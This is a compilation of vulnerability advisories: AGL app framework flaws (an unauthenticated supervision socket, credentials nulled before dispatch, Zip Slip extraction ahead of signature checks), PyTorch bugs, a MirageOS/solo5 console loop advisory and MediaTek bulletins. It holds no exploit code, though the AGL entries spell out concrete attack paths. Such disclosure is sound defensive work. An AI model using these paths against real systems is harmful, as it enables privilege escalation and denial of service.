AGL app-framework-binder (afb-daemon) through v19.90.0 contains a privilege escalation vulnerability in the supervision Do command. The onsupervisioncall function in src/afb-supervision.c explicitly nullifies the request credentials by calling afbcontextchangecred(&xreq->context, NULL) before dispatching an attacker-controlled API call via xapi->itf->call(xapi->closure, xreq). The NULL propagation chain through afb-context.c:110 (context->credentials = afbcredaddref(NULL)) and afb-cred.c:163 (returns NULL when cred is NULL) confirms that credentials are zeroed before the target API executes. The attacker controls both api and verb parameters via JSON input, allowing execution of any registered API with a NULL credential context. APIs that rely on context->credentials for authorization decisions may fail open when receiving NULL credentials, enabling privilege escalation. This vulnerability was introduced in commit abbb4599f0b921c6f434b6bd02bcfb277eecf745 on 2018-02-14.

AGL app-framework-main thru 17.1.12 contains a Zip Slip path traversal vulnerability (CWE-22) combined with a TOCTOU race condition (CWE-367) in the widget installation flow. The isvalidfilename function in wgtpkg-zip.c validates ZIP entry names but does not check for dot notation directory traversal sequences it only blocks absolute paths. The zread extraction function uses openat(workdirfd, filename, OCREAT) which resolves dot notation values relative to the work directory, allowing files to be written anywhere on the filesystem. Critically, in function installwidget in file wgtpkg-install.c, extraction via zread occurs BEFORE signature verification via checkallsignatures. Even if signature verification fails, the error cleanup (removeworkdir) only deletes the temporary work directory files written outside via path traversal persist permanently.

AGL app-framework-binder (afb-daemon) through v19.90.0 allows any local process to execute privileged supervision commands (Exit, Do, Sclose, Config, Trace, Debug, Token, slist) without authentication via the abstract Unix socket @urn:AGL:afs:supervision:socket. The onsupervisioncall function in src/afb-supervision.c dispatches all 8 commands without any credential verification. The abstract socket has no DAC protection, as acknowledged in the official CAUTION comment in src/afs-supervision.h. This allows a low-privileged local process to kill the daemon (DoS via Exit command), execute arbitrary API calls (via Do command), close arbitrary user sessions (via Sclose command), or leak the entire global configuration (via Config command). The vulnerability was introduced in commit b8c9d5de384efcfa53ebdb3f0053d7b3723777e1 on 2017-06-29.

AGL agl-service-can-low-level thru 17.1.12 contains a heap buffer over-read in the isotp-c library. In isotpcontinuereceive (receive.c:87-89), the payloadlength for a Single Frame is extracted from a 4-bit nibble in the CAN frame data, yielding values 0-15. However, a standard CAN frame is only 8 bytes, with payload starting at data[1] (7 bytes available). When payloadlength exceeds the available data (e.g., nibble=15 but only 7 payload bytes exist), memcpy(message.payload, &data[1], payloadlength) reads up to 8 bytes past the end of the data buffer.

In PyTorch through 2.6.0, when eager is used, nn.PairwiseDistance(p=2) produces incorrect results.

In PyTorch before 2.7.0, bitwiserightshift produces incorrect output for certain out-of-bounds values of the "other" argument.

A syntax error in the component proxytensor.py of pytorch v2.7.0 allows attackers to cause a Denial of Service (DoS).

pytorch v2.8.0 was discovered to contain an integer overflow in the component torch.nantonum-.long().

An issue in pytorch v2.7.0 can lead to a Denial of Service (DoS) when a PyTorch model consists of torch.Tensor.tosparse() and torch.Tensor.todense() and is compiled by Inductor.

An issue in the component torch.linalg.lu of pytorch v2.8.0 allows attackers to cause a Denial of Service (DoS) when performing a slice operation.

A Name Error occurs in pytorch v2.7.0 when a PyTorch model consists of torch.cummin and is compiled by Inductor, leading to a Denial of Service (DoS).

In PyTorch before 2.7.0, when inductor is used, nn.Fold has an assertion error.

In PyTorch before 2.7.0, when torch.compile is used, FractionalMaxPool2d has inconsistent results.

An issue was discovered in PyTorch v2.5 and v2.7.1. Omission of profiler.stop() can cause torch.profiler.profile (PythonTracer) to crash or hang during finalization, leading to a Denial of Service (DoS).

PyTorch before 3.7.0 has a bernoullip decompose function in decompositions.py even though it lacks full consistency with the eager CPU implementation, negatively affecting nn.Dropout1d, nn.Dropout2d, and nn.Dropout3d for fallbackrandom=True.

A buffer overflow occurs in pytorch v2.7.0 when a PyTorch model consists of torch.nn.Conv2d, torch.nn.functional.hardshrink, and torch.Tensor.view-torch.mv() and is compiled by Inductor, leading to a Denial of Service (DoS).

pytorch v2.8.0 was discovered to display unexpected behavior when the components torch.rot90 and torch.randnlike are used together.

Background

MirageOS is a library operating system using cooperative multitasking, which can be executed as a guest of the Xen hypervisor. Output on the console is performed via the Xen console protocol. Problem Description

Since MirageOS moved from PV mode to PVH, and thus replacing Mini-OS with solo5, there was an issue in the solo5 code which failed to properly account the already written bytes on the console. This only occurs if the output to be performed does not fit in a single output buffer (2048 bytes on Xen).

The code in question set the number of bytes written to the last written count (written = outputsome(buf)), instead of increasing the written count (written += outputsome(buf)).

Impact

Console output may lead to an infinite loop, endlessly printing data onto the console.

A prominent unikernel is the Qubes MirageOS firewall, which prints some input packets onto the console. This can lead to a remote denial of service vulnerability, since any client could send a malformed and sufficiently big network packet.

Solution

The solution is to fix the console output code in solo5, as done in https://github.com/Solo5/solo5/pull/538/commits/099be86f0a17a619fcadbb970bb9e511d28d3cd8

Timeline

- 2022-12-04: initial report by Krzysztof Burghardt https://github.com/mirage/qubes-mirage-firewall/issues/166 - 2022-12-04: investigation by Hannes Mehnert and Pierre Alain - 2022-12-05: initial fix by Pierre Alain https://github.com/Solo5/solo5/pull/538 - 2022-12-05: review of fix by Thomas Leonard - 2022-12-07: release of fixed packages and security advisory

In lk, there is a possible escalation of privilege due to a missing bounds check. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation. Patch ID: ALPS08528255; Issue ID: ALPS08528255.

In flashc, there is a possible out of bounds write due to lack of valudation. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation. Patch ID: ALPS08541638; Issue ID: ALPS08541638.

In wlan firmware, there is a possible out of bounds write due to improper input validation. This could lead to remote escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: ALPS08360153 (for MT6XXX chipsets) / WCNCR00363530 (for MT79XX chipsets); Issue ID: MSV-979.

In DA, there is a possible permission bypass due to an incorrect status check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: ALPS08355514; Issue ID: ALPS08355514.

In da, there is a possible out of bounds write due to a missing bounds check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is needed for exploitation. Patch ID: ALPS09073261; Issue ID: MSV-1772.

In wlan STA FW, there is a possible out of bounds write due to improper input validation. This could lead to remote (proximal/adjacent) code execution with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: WCNCR00389045 / ALPS09136494; Issue ID: MSV-1796.

In power, there is a possible out of bounds write due to a missing bounds check. This could lead to local escalation of privilege if a malicious actor has already obtained the System privilege. User interaction is not needed for exploitation. Patch ID: ALPS09270402; Issue ID: MSV-2020.

In wlan STA driver, there is a possible out of bounds write due to improper input validation. This could lead to remote (proximal/adjacent) code execution with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: WCNCR00389496 / ALPS09137491; Issue ID: MSV-1835.

In V6 DA, there is a possible out of bounds write due to a missing bounds check. This could lead to local escalation of privilege, if an attacker has physical access to the device, with no additional execution privileges needed. User interaction is needed for exploitation. Patch ID: ALPS09290940; Issue ID: MSV-2040.

In V6 DA, there is a possible out of bounds write due to a missing bounds check. This could lead to local escalation of privilege, if an attacker has physical access to the device, with no additional execution privileges needed. User interaction is needed for exploitation. Patch ID: ALPS09167056; Issue ID: MSV-2069.

In V6 DA, there is a possible out of bounds write due to a missing bounds check. This could lead to local escalation of privilege, if an attacker has physical access to the device, with no additional execution privileges needed. User interaction is needed for exploitation. Patch ID: ALPS09167056; Issue ID: MSV-2041.

In V6 DA, there is a possible out of bounds write due to a missing bounds check. This could lead to local escalation of privilege, if an attacker has physical access to the device, with no additional execution privileges needed. User interaction is needed for exploitation. Patch ID: ALPS09403752; Issue ID: MSV-2434.